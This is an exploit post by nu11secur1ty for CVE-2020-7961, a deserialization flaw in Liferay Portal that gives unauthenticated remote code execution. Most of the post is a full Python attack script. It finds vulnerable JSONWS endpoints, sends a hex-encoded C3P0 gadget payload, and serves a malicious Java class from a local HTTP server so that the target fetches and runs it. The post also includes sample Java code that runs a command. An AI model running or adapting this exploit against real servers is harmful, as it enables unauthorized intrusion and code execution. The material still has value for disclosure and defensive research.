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Liferay Portal Remote Code Execution

Liferay Portal Remote Code Execution
Posted Jul 12, 2020
Authored by nu11secur1ty

Liferay Portal versions prior to 7.2.1 CE GA2 exploit that gains code execution due to deserialization of untrusted data sent to the JSON web services interface.

tags | exploit, web, code execution
advisories | CVE-2020-7961
MD5 | 1b2dd015379b863c0608bdba7753b167

Liferay Portal Remote Code Execution

Change Mirror Download
# Exploit Title: Data in Liferay Portal prior to 7.2.1 CE GA2 - Remote code execution
# Author: nu11secur1ty
# Date: 2020-01-24
# Vendor:
# Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7961
https://github.com/nu11secur1ty/Windows10Exploits/tree/master/Undefined/CVE-2020-7961
# CVE: CVE-2020-7961

[+] Credits: Ventsislav Varbanovski (@ nu11secur1ty)
[+] Website: https://www.nu11secur1ty.com/
[+] Source: readme from GitHUB
[+] twitter.com/nu11secur1ty


[Exploit Program Code]
'''
Title: POC for Unauthenticated Remote code execution via JSONWS
(LPS-97029/CVE-2020-7961) in Liferay 7.2.0 CE GA1
POC author: nu11secur1ty
Download link:
https://github.com/nu11secur1ty/Windows10Exploits/tree/master/Undefined/CVE-2020-7961
Based on https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html
research
Usage: python poc.py -h

Gadget used: C3P0WrapperConnPool

Installation:
pip install requests
pip install bs4

Create file LifExp.java with example content:
public class LifExp {
static {
try {
String[] cmd = {"cmd.exe", "/c", "calc.exe"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch ( Exception e ) {
e.printStackTrace();
}
}
}

javac LifExp.java
Place poc.py and LifExp.class in the same directory.
'''
import requests
import threading
import time
import sys
import argparse
import binascii
from bs4 import BeautifulSoup
from datetime import datetime
from http.server import BaseHTTPRequestHandler,HTTPServer
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# SET proxy
PROXIES = {}
#PROXIES = {"http":"http://127.0.0.1:9090"}

class HttpHandler(BaseHTTPRequestHandler):

def do_GET(self):
self.send_response(200)
self.send_header('Content-type','application/java-vm')
self.end_headers()
f = open("LifExp.class", "rb")
self.wfile.write(f.read())
f.close()
return

def log(level, msg):
prefix = "[#] "
if level == "error":
prefix = "[!] "
d = datetime.now().strftime("%d/%m/%Y %H:%M:%S")
temp = "{} [{}] {}".format(prefix, d, msg)
print(temp)

def find_href(body):
soup = BeautifulSoup(body, "html.parser")
return soup.find_all('a', href=True)

def find_class(body, clazz):
soup = BeautifulSoup(body, "html.parser")
return soup.findAll("div", {"class": clazz})

def find_id(body):
soup = BeautifulSoup(body, "html.parser")
return soup.findAll("form", {"id": "execute"})

def get_param(div):
param = ""
param_type = ""
p_name = div.find("span", {"class": "lfr-api-param-name"})
p_type = div.find("span", {"class": "lfr-api-param-type"})
if p_name:
param = p_name.text.strip()
if p_type:
param_type = p_type.text.strip()

return (param, param_type)

def _do_get(url):
resp = requests.get(url, proxies=PROXIES, verify=False)
return resp

def do_get(host, path):
url = "{}/{}".format(host, path)
resp = _do_get(url)
return resp

def _do_post(url, data):
resp = requests.post(url, proxies=PROXIES, verify=False, data=data)
return resp

def do_post(host, path, data):
url = "{}/{}".format(host, path)
resp = _do_post(url, data)
return resp

def find_endpoints(host, path):
result = []
resp = do_get(host, path)
links = find_href(resp.text)
for link in links:
if "java.lang.Object" in link['href']:
result.append(link['href'])
return result

def find_parameters(body):
div_params = find_class(body, "lfr-api-param")
params = []
for d in div_params:
params.append(get_param(d))
return params

def find_url(body):
form = find_id(body)[0]
return form['action']

def set_params(params, payload, payload_type):
result = {}
for param in params:
p_name, p_type = param
if p_type == "java.lang.Object":
result[p_name+":"+payload_type] = payload

result[p_name] = "1"
return result

def pad(data, length):
return data+"\x20"*(length-len(data))

def exploit(host, api_url, params, PAYLOAD, PAYLOAD_TYPE):
p = set_params(params, PAYLOAD, PAYLOAD_TYPE)
resp = do_post(host, api_url, p)

banner = """POC author: nu11secur1ty\r\nBased on
https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html
research
Debug: nu11secur1ty
https://github.com/nu11secur1ty/Windows10Exploits/tree/master/Undefined/CVE-2020-7961
REQUIREMENTS Python3"""

def main():
print(banner)
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target-host", dest="target",
help="target host:port", required=True)
parser.add_argument("-u", "--api-url", dest="api_url", help="path to
jsonws. Default: /api/jsonws", default="api/jsonws")
parser.add_argument("-p", "--bind-port", dest="bind_port", help="HTTP
server bind port. Default 9091", default=9091)
parser.add_argument("-l", "--bind-ip", dest="bind_ip", help="HTTP
server bind IP. Default 127.0.0.1. It can't be 0.0.0.0",
default="127.0.0.1")

args = parser.parse_args()
bind_port = int(args.bind_port)
bind_ip = args.bind_ip
target_ip = args.target
api_url = args.api_url
endpoints = []
vuln_endpoints = []

PAYLOAD_TYPE = "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
PAYLOAD_PREFIX =
"""{"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c69664578707400c8"""
PAYLOAD_SUFIX = """740003466f6f;"}"""

INTERNAL = pad("http://{}:{}/".format(bind_ip, bind_port), 200)

INTERNALB = INTERNAL.encode('utf-8')

INTERNALHEX = binascii.hexlify(INTERNALB)

PAYLOAD = PAYLOAD_PREFIX+INTERNALHEX.hex()+PAYLOAD_SUFIX


try:
log("info", "Looking for vulnerable endpoints:
{}/{}".format(target_ip, api_url))
endpoints = find_endpoints(target_ip, api_url)
if not endpoints:
log("info", "Vulnerable endpoints not found!")
sys.exit(1)
except Exception as ex:
log("error", "An error occured:")
print(ex)
sys.exit(1)

try:
server = HTTPServer((bind_ip, bind_port), HttpHandler)
log("info", "Started HTTP server on {}:{}".format(bind_ip, bind_port))
th = threading.Thread(target=server.serve_forever)
th.daemon=True
th.start()

for e in endpoints:
resp = do_get(target_ip, e)
params = find_parameters(resp.text)
url_temp = find_url(resp.text)
vuln_endpoints.append((url_temp, params))

for endpoint in vuln_endpoints:
log("info", "Probably vulnerable endpoint {}.".format(endpoint[0]))
op = raw_input("Do you want to test it? Y/N: ")
if op.lower() == "y":
exploit(target_ip, endpoint[0], endpoint[1], PAYLOAD, PAYLOAD_TYPE)

log("info", "CTRL+C to exit :)")
while True:
time.sleep(1)
except KeyboardInterrupt:
log("info", "Shutting down...")
server.socket.close()
except Exception as ex:
log("error", "An error occured:")
print(ex)
sys.exit(1)

if __name__ == "__main__":
main()


[Vendor]
JSONWS


[Product]
JSON

[Vulnerability Type]
- Deserialization of Untrusted Data in Liferay Portal prior to 7.2.1
CE GA2 allows remote attackers to execute arbitrary code via JSON web
services (JSONWS).

[References]
Disclaimer: The entry creation date may reflect when the CVE ID was
allocated or reserved, and does not necessarily indicate when this
vulnerability was discovered, shared with the affected vendor,
publicly disclosed, or updated in CVE.


--

hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>
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